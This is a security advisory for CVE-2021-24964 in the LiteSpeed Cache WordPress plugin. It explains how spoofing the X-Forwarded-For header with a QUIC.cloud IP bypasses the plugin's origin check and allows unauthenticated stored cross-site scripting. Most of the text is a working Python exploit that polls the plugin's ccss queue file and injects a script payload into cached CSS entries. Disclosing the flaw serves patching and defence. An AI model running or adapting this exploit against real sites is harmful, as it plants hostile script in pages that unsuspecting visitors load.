LiteSpeed Cache < 4.4.4 – IP Check Bypass to Unauthenticated Stored XSS | CVE 2021-24964

Description

The plugin does not properly verify that requests are coming from QUIC.cloud servers, allowing attackers to make requests to certain endpoints by using a specific X-Forwarded-For header value. In addition, one of the endpoint could be used to set CSS code if a setting is enabled, which will then be output in some pages without being sanitised and escaped. Combining those two issues, an unauthenticated attacker could put Cross-Site Scripting payloads in pages visited by users.

Proof of Concept

The "Load CSS Asynchronously" setting in the Page Optimization (/wp-admin/admin.php?page=litespeed-page_optm) needs to be turned on for this to work

#!/bin/python3
import requests
import json

def get_whitelist_ips():
    return requests.get("https://quic.cloud/ips", verify=False).text

print("[+] Getting the whitelisted ips...")

whitelist_ip = get_whitelist_ips().split("<br />")[0]

print(f"[+] Using {whitelist_ip}")

payload = "</style><script>alert(/XSS-cache/);</script>"
site = "https://example.com"

def poison(poison_keys, whitelist_ip):
    for poison_key in poison_keys:
        obj = {
        "status": "done",
        "data": {}
        }
        obj['data'][poison_key] = payload
        res = requests.post(f"{site}/wp-json/litespeed/v1/notify_ccss", data=json.dumps(obj), headers={"X-Forwarded-For": whitelist_ip}, verify=False).json()
        if res['count'] == 1:
            print(f"We have successfully poisoned the {poison_key} key!")
        else:
            print(f"Failed to poison the {poison_key} key")


def get_keys_from_ccss(res):
    obj = json.loads(res)
    return [key for key in obj.keys() if "litespeed_conf.dat" not in obj[key]['url']]

while True:
    res = requests.get(f"{site}/wp-content/litespeed/ccss/.litespeed_conf.dat", verify=False).text
    #print("Waiting for ccss queue file to show up...")
    if '","user_agent":"' in res:
        #print(res)
        poison_keys = get_keys_from_ccss(res)
        poison(poison_keys, whitelist_ip)